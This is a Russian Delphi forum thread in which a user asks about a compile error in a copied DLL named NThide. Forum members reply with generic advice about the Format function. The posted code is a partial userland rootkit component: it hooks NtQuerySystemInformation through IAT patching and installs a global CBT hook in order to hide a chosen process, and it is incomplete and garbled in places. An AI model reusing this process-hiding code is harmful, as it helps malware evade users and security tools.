Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 06.04.2012, 12:12   #1
Юрий_)
Пользователь
 
Регистрация: 06.04.2012
Сообщений: 12
По умолчанию Format '%1' invalid or incompatible with argument

Доброе время суток всем.
пытаюсь написать dll.
Вот такую ошибку выдает делфи... Точнее не ошибку, а при компиляции просто выскакивает вот такая штука(((((((
как мне быть???
Юрий_) вне форума Ответить с цитированием
Старый 06.04.2012, 12:12   #2
RuVarez
Форумчанин
 
Аватар для RuVarez
 
Регистрация: 25.08.2010
Сообщений: 258
По умолчанию

Код вылажи плиз
RuVarez вне форума Ответить с цитированием
Старый 06.04.2012, 12:21   #3
Юрий_)
Пользователь
 
Регистрация: 06.04.2012
Сообщений: 12
По умолчанию

library NThide;
uses Windows,
ImageHlp,
TlHelp32;
type TImageImportDescriptor=packed record
Characteristics:DWORD;
TimeDateStamp:DWORD;
ForwarderChain:DWORD;
Name:DWORD;
FirstThunk:DWORD;
end;
PImageImportDescriptor=^TImageImpor tDescriptor;
type PPointer=^Pointer;
procedure ReplaceIATEntryInOneMod(pszCallerMo dName: Pchar;

pfnCurrent: Pointer;
pfnNew: Pointer;
hmodCaller: hModule );
var ulSize,written: Cardinal;
pImportDesc: PImageImportDescriptor;
pszModName: PChar;
pThunk: PDWORD;
ppfn:PPointer;
ffound: LongBool;
begin
pImportDesc:= ImageDirectoryEntryToData(Pointer(h modCaller),
TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,
ulSize);
if pImportDesc = nil then exit;
while pImportDesc.Name<>0 do
begin
pszModName:=PChar(hmodCaller + pImportDesc.Name);

if (lstrcmpiA(pszModName, pszCallerModName) = 0) then
break;
Inc(pImportDesc);
end;

if pImportDesc.Name = 0 then
exit;

pThunk:=PDWORD(hmodCaller + pImportDesc.FirstThunk);

while pThunk^<>0 do
begin
ppfn := PPointer(pThunk);
fFound := (ppfn^ = pfnCurrent);

if (fFound) then
begin
VirtualProtectEx(GetCurrentProcess, ppfn,4,PAGE_EXECUTE_READWRITE,
written);
WriteProcessMemory(GetCurrentProces s, ppfn, @pfnNew, sizeof(pfnNew),
written);
exit;
end;
inc(pThunk);
end;
end;

var addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
mapaddr: PDWORD;

procedure InterceptFunctions; // перехватить функции
var hSnapShot: Cardinal;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetP rocAddress(getModuleHandle('ntdll.d ll'),
'NtQuerySystemInformation');

hSnapShot:=CreateToolHelp32SnapShot (TH32CS_SNAPMODULE,GetCurrentProces sId);

if hSnapshot=INVALID_HANDLE_VALUE then
exit;

ZeroMemory(@me32,sizeof(MODULEENTRY 32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);

repeat
ReplaceIATEntryInOneMod('ntdll.dll' , addr_NtQuerySystemInformation,
@MyNtQuerySystemInfo, me32.hModule);
until not Module32Next(hSnapShot,me32);

CloseHandle(hSnapShot);
end;

procedure UninterceptFunctions; // снятие перехвата
var hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetP rocAddress(getModuleHandle('ntdll.d ll'),
'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot (TH32CS_SNAPMODULE,GetCurrentProces sId);

if hSnapshot=INVALID_HANDLE_VALUE then
exit;

ZeroMemory(@me32,sizeof(MODULEENTRY 32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);

repeat
ReplaceIATEntryInOneMod('ntdll.dll' , @MyNtQuerySystemInfo,
addr_NtQuerySystemInformation, me32.hModule);
until not Module32Next(hSnapShot,me32);

CloseHandle(hSnapShot);
end;

var HookHandle: THandle;


function CbtProc(code: integer; wparam: integer;
lparam: integer):Integer; stdcall;
begin
// рвем цепочку хуков
Result:=0;
end;

procedure InstallHook; stdcall;
begin
// отлавливаем сообщения о происшедствиях с окнами
HookHandle:=SetWindowsHookEx(WH_CBT , @CbtProc, HInstance, 0);
end;

var hFirstMapHandle:THandle;

function HideProcess(pid:DWORD):BOOL; stdcall;
var addrMap: PDWORD;
begin
mypid:=0;
result:=false;
hFirstMapHandle:=CreateFileMapping( $FFFFFFFF, nil, PAGE_READWRITE, 0, 8,
'NtHideFileMapping');
if hFirstMapHandle=0 then
exit;

addrMap:=MapViewOfFile(hFirstMapHan dle,FILE_MAP_WRITE,0,0,8);

if addrMap=nil then
begin
CloseHandle(hFirstMapHandle);
exit;
end;

addrMap^:=pid;
UnmapViewOfFile(addrMap);
InstallHook; // запрещаем сообщения WH_CBT
result:=true;
end;

exports HideProcess;

var hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
if mypid > 0 then
UninterceptFunctions

else
CloseHandle(hFirstMapHandle);
end;

begin
hmap:=OpenFileMapping(FILE_MAP_READ ,false,'NtHideFileMapping');

if hmap=0 then
exit;

mapaddr:=MapViewOfFile(hmap,FILE_MA P_READ,0,0,0);

if mapaddr=nil then
exit;

mypid:=mapaddr^;
InterceptFunctions;
UnmapViewOfFile(mapaddr);
CloseHandle(Hmap);
DLLProc:=@LibraryProc;
end.
Юрий_) вне форума Ответить с цитированием
Старый 06.04.2012, 12:26   #4
Юрий_)
Пользователь
 
Регистрация: 06.04.2012
Сообщений: 12
По умолчанию

там есть еще и asm вставка, но я думаю что это не важно....
Юрий_) вне форума Ответить с цитированием
Старый 06.04.2012, 12:26   #5
Юрий_)
Пользователь
 
Регистрация: 06.04.2012
Сообщений: 12
По умолчанию

там есть еще и asm вставка, но я думаю что это не важно....
Юрий_) вне форума Ответить с цитированием
Старый 06.04.2012, 12:31   #6
RuVarez
Форумчанин
 
Аватар для RuVarez
 
Регистрация: 25.08.2010
Сообщений: 258
По умолчанию

Во первых, ты окуда его брал? Пробелы стоят в названии переменных!
А во вторых - что за переменная - MyNtQuerySystemInfo. Она у тя даже не обявлена
RuVarez вне форума Ответить с цитированием
Старый 06.04.2012, 12:36   #7
Человек_Борща
Старожил
 
Аватар для Человек_Борща
 
Регистрация: 30.12.2009
Сообщений: 11,426
По умолчанию

Цитата:
Точнее не ошибку, а при компиляции просто выскакивает вот такая штука(((((((
где сама "штука" и откуда она выскакивает?

Цитата:
Во первых, ты окуда его брал?
этообрезанный код без обьявления структур, переменных, экспорта и begin-end'а.
Человек_Борща вне форума Ответить с цитированием
Старый 06.04.2012, 12:45   #8
Юрий_)
Пользователь
 
Регистрация: 06.04.2012
Сообщений: 12
По умолчанию

где сама "штука" и откуда она выскакивает?

при компиляции!!!
а где брал, вот http://forum.developing.ru/showthrea...%D1%8B-Windows
Юрий_) вне форума Ответить с цитированием
Старый 06.04.2012, 12:52   #9
RuVarez
Форумчанин
 
Аватар для RuVarez
 
Регистрация: 25.08.2010
Сообщений: 258
По умолчанию

А у вас Delphi какая? У мня на 6 все скомпилировалось нормально)
RuVarez вне форума Ответить с цитированием
Старый 06.04.2012, 13:02   #10
phomm
personality
Старожил
 
Аватар для phomm
 
Регистрация: 28.04.2009
Сообщений: 2,882
По умолчанию

Юрий_) говоря "где" подразумевают место в коде, а не время появления (тогда вопрос был бы "когда")

Очень часто данная ошибка появляется в функции Format, когда фактические параметры не совпадают с лексемами входной строки.

В Вашем коде нет функции Format, возможно, в другом месте ошибка. Вы укажите строку (и желательно всю функцию/процедуру в которой строка) на которую дельфи показывает при ошибке. Если же никуда не указывает, то поищите в коде функции Format и попроверяйте по дельфи-справке лексемы (типа %s ) и передаваемые типы переменных.
phomm вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Warning: Invalid argument supplied for foreach() marius PHP 2 18.02.2011 15:05
Ошибка Invalid argument StartMis Общие вопросы Delphi 7 24.11.2010 00:35
Format '%1 ' invalid or incompatible with argument ImmortalAlexSan Общие вопросы Delphi 19 30.03.2010 21:15
invalid procedure call or argument igorrt Microsoft Office Access 1 03.03.2009 16:35